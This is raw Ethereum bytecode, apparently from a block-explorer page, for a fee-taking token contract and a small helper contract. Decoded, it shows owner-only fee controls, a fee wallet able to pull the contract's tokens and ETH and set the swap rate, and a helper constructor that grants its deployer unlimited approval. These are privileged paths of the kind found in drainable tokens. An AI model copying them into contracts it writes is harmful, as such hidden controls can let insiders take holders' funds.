0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161153591906128d3565b60405180910390a3505050565b600061154d84610af9565b905081811015611592576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158990612873565b60405180910390fd5b600080600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156115fb5750600b60009054906101000a900460ff16155b80156116515750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116a75750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117345760006064601054866116be9190612a3f565b6116c89190612a0e565b90506116d330610af9565b81111561171f5780600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60008111156117325761173181611c2a565b5b505b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f15750600b60009054906101000a900460ff16155b156117fb57600191505b8180156118525750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118a85750600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118b257600091505b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561190957600190505b6119168686868585611ee2565b505050505050565b6001600b60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561195657611955612caf565b5b6040519080825280602002602001820160405280156119845781602001602082028036833780820191505090505b509050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119ef57600080fd5b505afa158015611a03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a279190612404565b81600081518110611a3b57611a3a612c80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110611a8a57611a89612c80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c11d79583600084600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611b4a9594939291906128ee565b600060405180830381600087803b158015611b6457600080fd5b505af1925050508015611b75575060015b611b7e57611b7f565b5b6000611bac600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610af9565b1115611c0b57611c09600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630611c04600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610af9565b6121cb565b505b506000600b60006101000a81548160ff02191690831515021790555050565b6001600b60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c6257611c61612caf565b5b604051908082528060200260200182016040528015611c905781602001602082028036833780820191505090505b5090503081600081518110611ca857611ca7612c80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d4a57600080fd5b505afa158015611d5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d829190612404565b81600181518110611d9657611d95612c80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611e569594939291906128ee565b600060405180830381600087803b158015611e7057600080fd5b505af1925050508015611e81575060015b611ec2577fbdf1a66ac2980d0df84c6c5344b4d62f3f4578219817cf4bcb8d8a983bbe6f166000604051611eb59190612836565b60405180910390a1611ec3565b5b506000600b60006101000a81548160ff02191690831515021790555050565b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2d9190612a99565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600082156120ba5760008215611f8a57600d549050611f90565b600c5490505b600060648287611fa09190612a3f565b611faa9190612a0e565b905060008111156120b7578083611fc191906129b8565b925080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200e91906129b8565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120ae91906128d3565b60405180910390a35b50505b80846120c69190612a99565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211091906129b8565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83876121ae9190612a99565b6040516121bb91906128d3565b60405180910390a3505050505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122189190612a99565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a691906129b8565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161234691906128d3565b60405180910390a3600190509392505050565b60008135905061236881612d6f565b92915050565b60008151905061237d81612d6f565b92915050565b60008135905061239281612d86565b92915050565b6000815190506123a781612d86565b92915050565b6000813590506123bc81612d9d565b92915050565b6000815190506123d181612d9d565b92915050565b6000602082840312156123ed576123ec612cde565b5b60006123fb84828501612359565b91505092915050565b60006020828403121561241a57612419612cde565b5b60006124288482850161236e565b91505092915050565b6000806040838503121561244857612447612cde565b5b600061245685828601612359565b925050602061246785828601612359565b9150509250929050565b60008060006060848603121561248a57612489612cde565b5b600061249886828701612359565b93505060206124a986828701612359565b92505060406124ba868287016123ad565b9150509250925092565b600080604083850312156124db576124da612cde565b5b60006124e985828601612359565b92505060206124fa85828601612383565b9150509250929050565b6000806040838503121561251b5761251a612cde565b5b600061252985828601612359565b925050602061253a858286016123ad565b9150509250929050565b60006020828403121561255a57612559612cde565b5b600061256884828501612398565b91505092915050565b60006020828403121561258757612586612cde565b5b6000612595848285016123ad565b91505092915050565b6000602082840312156125b4576125b3612cde565b5b60006125c2848285016123c2565b91505092915050565b60006125d783836125e3565b60208301905092915050565b6125ec81612acd565b82525050565b6125fb81612acd565b82525050565b600061260c82612973565b6126168185612996565b935061262183612963565b8060005b8381101561265257815161263988826125cb565b975061264483612989565b925050600181019050612625565b5085935050505092915050565b61266881612adf565b82525050565b61267781612b22565b82525050565b61268681612b34565b82525050565b61269581612b46565b82525050565b6126a481612b58565b82525050565b60006126b58261297e565b6126bf81856129a7565b93506126cf818560208601612b8e565b6126d881612ce3565b840191505092915050565b60006126f06010836129a7565b91506126fb82612cf4565b602082019050919050565b60006127136008836129a7565b915061271e82612d1d565b602082019050919050565b60006127366011836129a7565b915061274182612d46565b602082019050919050565b61275581612b0b565b82525050565b61276481612b15565b82525050565b600060208201905061277f60008301846125f2565b92915050565b600060608201905061279a60008301866125f2565b6127a760208301856125f2565b6127b4604083018461274c565b949350505050565b60006040820190506127d160008301856125f2565b6127de602083018461274c565b9392505050565b60006020820190506127fa600083018461265f565b92915050565b6000602082019050612815600083018461266e565b92915050565b6000602082019050612830600083018461267d565b92915050565b600060208201905061284b600083018461269b565b92915050565b6000602082019050818103600083015261286b81846126aa565b905092915050565b6000602082019050818103600083015261288c816126e3565b9050919050565b600060208201905081810360008301526128ac81612706565b9050919050565b600060208201905081810360008301526128cc81612729565b9050919050565b60006020820190506128e8600083018461274c565b92915050565b600060a082019050612903600083018861274c565b612910602083018761268c565b81810360408301526129228186612601565b905061293160608301856125f2565b61293e608083018461274c565b9695505050505050565b600060208201905061295d600083018461275b565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006129c382612b0b565b91506129ce83612b0b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612a0357612a02612bf3565b5b828201905092915050565b6000612a1982612b0b565b9150612a2483612b0b565b925082612a3457612a33612c22565b5b828204905092915050565b6000612a4a82612b0b565b9150612a5583612b0b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612a8e57612a8d612bf3565b5b828202905092915050565b6000612aa482612b0b565b9150612aaf83612b0b565b925082821015612ac257612ac1612bf3565b5b828203905092915050565b6000612ad882612aeb565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000612b2d82612b6a565b9050919050565b6000612b3f82612b6a565b9050919050565b6000612b5182612b0b565b9050919050565b6000612b6382612b15565b9050919050565b6000612b7582612b7c565b9050919050565b6000612b8782612aeb565b9050919050565b60005b83811015612bac578082015181840152602081019050612b91565b83811115612bbb576000848401525b50505050565b60006002820490506001821680612bd957607f821691505b60208210811415612bed57612bec612c51565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f62616c616e63654e6f74456e6f75676800000000000000000000000000000000600082015250565b7f6e65772069732030000000000000000000000000000000000000000000000000600082015250565b7f796f7520617265206e6f74206f776e6572000000000000000000000000000000600082015250565b612d7881612acd565b8114612d8357600080fd5b50565b612d8f81612adf565b8114612d9a57600080fd5b50565b612da681612b0b565b8114612db157600080fd5b5056fea2646970667358221220b21db103a02a12b067b54376eacfd38c579c71da64398d7d090c1ba04748caff64736f6c63430008070033608060405234801561001057600080fd5b5060405161030038038061030083398181016040528101906100329190610156565b60008173ffffffffffffffffffffffffffffffffffffffff16336000196040516024016100609291906101e9565b6040516020818303038152906040527f095ea7b3000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506040516100ea91906101d2565b6000604051808303816000865af19150503d8060008114610127576040519150601f19603f3d011682016040523d82523d6000602084013e61012c565b606091505b505090508061013a57600080fd5b50506102b3565b6000815190506101508161029c565b92915050565b60006020828403121561016c5761016b610297565b5b600061017a84828501610141565b91505092915050565b61018c81610228565b82525050565b600061019d82610212565b6101a7818561021d565b93506101b7818560208601610264565b80840191505092915050565b6101cc8161025a565b82525050565b60006101de8284610192565b915081905092915050565b60006040820190506101fe6000830185610183565b61020b60208301846101c3565b9392505050565b600081519050919050565b600081905092915050565b60006102338261023a565b9050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b60005b83811015610282578082015181840152602081019050610267565b83811115610291576000848401525b50505050565b600080fd5b6102a581610228565b81146102b057600080fd5b50565b603f806102c16000396000f3fe6080604052600080fdfea2646970667358221220ac1c6e12f99c2b6ae23f68b85ed609b24adbebfcaa0d5eb9edfa52641d53c85064736f6c63430008070033

Deployed Bytecode

0x6080604052600436106101a05760003560e01c806370a08231116100ec578063a9059cbb1161008a578063dd62ed3e11610064578063dd62ed3e146105c5578063e82bef2914610602578063ec8274601461062d578063f2fde38b14610656576101a7565b8063a9059cbb14610534578063ba34c8f114610571578063ce0192f91461059a576101a7565b80638718b24f116100c65780638718b24f1461048a5780638da5cb5b146104b557806395d89b41146104e0578063a67755c21461050b576101a7565b806370a082311461040d578063715018a61461044a578063863587cd14610461576101a7565b806336b2e027116101595780633ecad271116101335780633ecad271146103515780634bf28fd01461038e57806365b61b77146103b95780636f39cfcd146103e4576101a7565b806336b2e027146102d25780633b3e13831461030f5780633bfe62ca14610326576101a7565b806306fdde03146101ac578063095ea7b3146101d757806318160ddd1461021457806323b872dd1461023f5780632c4e722e1461027c578063313ce567146102a7576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c161067f565b6040516101ce9190612851565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190612504565b610711565b60405161020b91906127e5565b60405180910390f35b34801561022057600080fd5b50610229610728565b60405161023691906128d3565b60405180910390f35b34801561024b57600080fd5b5061026660048036038101906102619190612471565b610732565b60405161027391906127e5565b60405180910390f35b34801561028857600080fd5b506102916108d8565b60405161029e91906128d3565b60405180910390f35b3480156102b357600080fd5b506102bc6108de565b6040516102c99190612948565b60405180910390f35b3480156102de57600080fd5b506102f960048036038101906102f491906123d7565b6108f5565b60405161030691906127e5565b60405180910390f35b34801561031b57600080fd5b50610324610915565b005b34801561033257600080fd5b5061033b6109b5565b60405161034891906128d3565b60405180910390f35b34801561035d57600080fd5b50610378600480360381019061037391906123d7565b6109bb565b60405161038591906127e5565b60405180910390f35b34801561039a57600080fd5b506103a36109db565b6040516103b0919061276a565b60405180910390f35b3480156103c557600080fd5b506103ce610a01565b6040516103db9190612800565b60405180910390f35b3480156103f057600080fd5b5061040b600480360381019061040691906123d7565b610a27565b005b34801561041957600080fd5b50610434600480360381019061042f91906123d7565b610af9565b60405161044191906128d3565b60405180910390f35b34801561045657600080fd5b5061045f610b42565b005b34801561046d57600080fd5b50610488600480360381019061048391906124c4565b610c8e565b005b34801561049657600080fd5b5061049f610d77565b6040516104ac919061281b565b60405180910390f35b3480156104c157600080fd5b506104ca610d9d565b6040516104d7919061276a565b60405180910390f35b3480156104ec57600080fd5b506104f5610dc6565b6040516105029190612851565b60405180910390f35b34801561051757600080fd5b50610532600480360381019061052d91906123d7565b610e58565b005b34801561054057600080fd5b5061055b60048036038101906105569190612504565b611030565b60405161056891906127e5565b60405180910390f35b34801561057d57600080fd5b5061059860048036038101906105939190612571565b611047565b005b3480156105a657600080fd5b506105af6110ae565b6040516105bc91906128d3565b60405180910390f35b3480156105d157600080fd5b506105ec60048036038101906105e79190612431565b6110b4565b6040516105f991906128d3565b60405180910390f35b34801561060e57600080fd5b5061061761113b565b604051610624919061276a565b60405180910390f35b34801561063957600080fd5b50610654600480360381019061064f9190612571565b611161565b005b34801561066257600080fd5b5061067d600480360381019061067891906123d7565b61129c565b005b60606004805461068e90612bc1565b80601f01602080910402602001604051908101604052809291908181526020018280546106ba90612bc1565b80156107075780601f106106dc57610100808354040283529160200191610707565b820191906000526020600020905b8154815290600101906020018083116106ea57829003601f168201915b5050505050905090565b600061071e338484611457565b6001905092915050565b6000600854905090565b600061073f848484611542565b600019600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054146108cd5781600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461084c9190612a99565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600190509392505050565b60105481565b6000600660009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109a3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161099a906128b3565b60405180910390fd5b6000600c819055506000600d81905550565b600d5481565b600a6020528060005260406000206000915054906101000a900460ff1681565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ab5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aac906128b3565b60405180910390fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610bd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bc7906128b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d1c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d13906128b3565b60405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060058054610dd590612bc1565b80601f0160208091040260200160405190810160405280929190818152602001828054610e0190612bc1565b8015610e4e5780601f10610e2357610100808354040283529160200191610e4e565b820191906000526020600020905b815481529060010190602001808311610e3157829003601f168201915b5050505050905090565b3073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161461102d578073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f03919061276a565b60206040518083038186803b158015610f1b57600080fd5b505afa158015610f2f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f53919061259e565b6040518363ffffffff1660e01b8152600401610f709291906127bc565b602060405180830381600087803b158015610f8a57600080fd5b505af1158015610f9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fc29190612544565b50600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc479081150290604051600060405180830381858888f1935050505015801561102b573d6000803e3d6000fd5b505b50565b600061103d338484611542565b6001905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690508073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156110aa57816010819055505b5050565b600c5481565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156111c957600080fd5b505afa1580156111dd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112019190612404565b73ffffffffffffffffffffffffffffffffffffffff166323b872dd3330846040518463ffffffff1660e01b815260040161123d93929190612785565b602060405180830381600087803b15801561125757600080fd5b505af115801561126b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061128f9190612544565b506112998161191e565b50565b3373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461132a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611321906128b3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561139a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161139190612893565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161153591906128d3565b60405180910390a3505050565b600061154d84610af9565b905081811015611592576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158990612873565b60405180910390fd5b600080600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156115fb5750600b60009054906101000a900460ff16155b80156116515750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156116a75750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156117345760006064601054866116be9190612a3f565b6116c89190612a0e565b90506116d330610af9565b81111561171f5780600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b60008111156117325761173181611c2a565b5b505b600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156117d85750600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156117f15750600b60009054906101000a900460ff16155b156117fb57600191505b8180156118525750600a60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156118a85750600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156118b257600091505b600a60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161561190957600190505b6119168686868585611ee2565b505050505050565b6001600b60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff81111561195657611955612caf565b5b6040519080825280602002602001820160405280156119845781602001602082028036833780820191505090505b509050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156119ef57600080fd5b505afa158015611a03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a279190612404565b81600081518110611a3b57611a3a612c80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503081600181518110611a8a57611a89612c80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16635c11d79583600084600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611b4a9594939291906128ee565b600060405180830381600087803b158015611b6457600080fd5b505af1925050508015611b75575060015b611b7e57611b7f565b5b6000611bac600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610af9565b1115611c0b57611c09600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1630611c04600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610af9565b6121cb565b505b506000600b60006101000a81548160ff02191690831515021790555050565b6001600b60006101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611c6257611c61612caf565b5b604051908082528060200260200182016040528015611c905781602001602082028036833780820191505090505b5090503081600081518110611ca857611ca7612c80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611d4a57600080fd5b505afa158015611d5e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d829190612404565b81600181518110611d9657611d95612c80565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94783600084600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518663ffffffff1660e01b8152600401611e569594939291906128ee565b600060405180830381600087803b158015611e7057600080fd5b505af1925050508015611e81575060015b611ec2577fbdf1a66ac2980d0df84c6c5344b4d62f3f4578219817cf4bcb8d8a983bbe6f166000604051611eb59190612836565b60405180910390a1611ec3565b5b506000600b60006101000a81548160ff02191690831515021790555050565b82600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2d9190612a99565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600082156120ba5760008215611f8a57600d549050611f90565b600c5490505b600060648287611fa09190612a3f565b611faa9190612a0e565b905060008111156120b7578083611fc191906129b8565b925080600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461200e91906129b8565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168873ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516120ae91906128d3565b60405180910390a35b50505b80846120c69190612a99565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461211091906129b8565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83876121ae9190612a99565b6040516121bb91906128d3565b60405180910390a3505050505050565b600081600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122189190612a99565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546122a691906129b8565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167